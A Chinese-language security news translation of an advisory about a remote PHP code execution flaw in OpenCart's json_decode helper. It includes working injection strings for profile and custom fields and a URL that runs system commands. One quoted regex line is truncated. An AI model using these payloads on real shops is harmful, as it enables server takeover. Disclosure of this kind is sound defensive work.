2016-04-12 14:12:56 來源:360安全播報 作者:暗羽喵 閱讀:103次
分享到:
最近,安全研究人員Naser Farhadi(Twitter: @naserfarhadi)發現OpenCart json_decode函數中存在遠程PHP代碼執行漏洞,涉及到的版本有2.1.0.2 到 2.2.0.0 (最新版本)
漏洞存在於 /upload/system/helper/json.php中,其中有這段代碼
# /upload/system/helper/json.php$match = '/".*?(? 其中通過json進行了函數的建立,而json_decode函數可被利用
這裡是幾個簡單的測試例子
var_dump(json_decode('{"ok":"1"."2"."3"}'));
var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}'));
var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}'));
在真實情境中,可以通過/index.php?route=account/edit進行利用
例如將$_SERVER[HTTP_USER_AGENT]作為姓名填寫進去,儲存(需要重複兩次)
之後當管理員訪問管理面板時,他會在最近活動中本應顯示你的姓名的地方看到他自己的UserAgent
另一個例子是在account/edit 或者 account/register 中的 custom_field ,在這裡進行利用可能是最合適的
如果管理員在/admin/index.php?route=customer/custom_field中添加了一個自訂的地區用於電話號碼之類的額外資訊
你就可以直接注入你的代碼在這個custom_field中
例如將{$_GET[b]($_GET[c])}填寫到這個custom_field中,儲存
然後訪問
http://host/shop_directory/index.php?route=account/edit&b=system&c=ls
你會看到代碼被正確執行了
需要注意的是,這種利用方式只會在 PHP JSON擴充沒有安裝的情況下有效
本文由 360安全播報 翻譯,轉載請註明“轉自360安全播報”,並附上連結。
原文連結:http://seclists.org/bugtraq/2016/Apr/61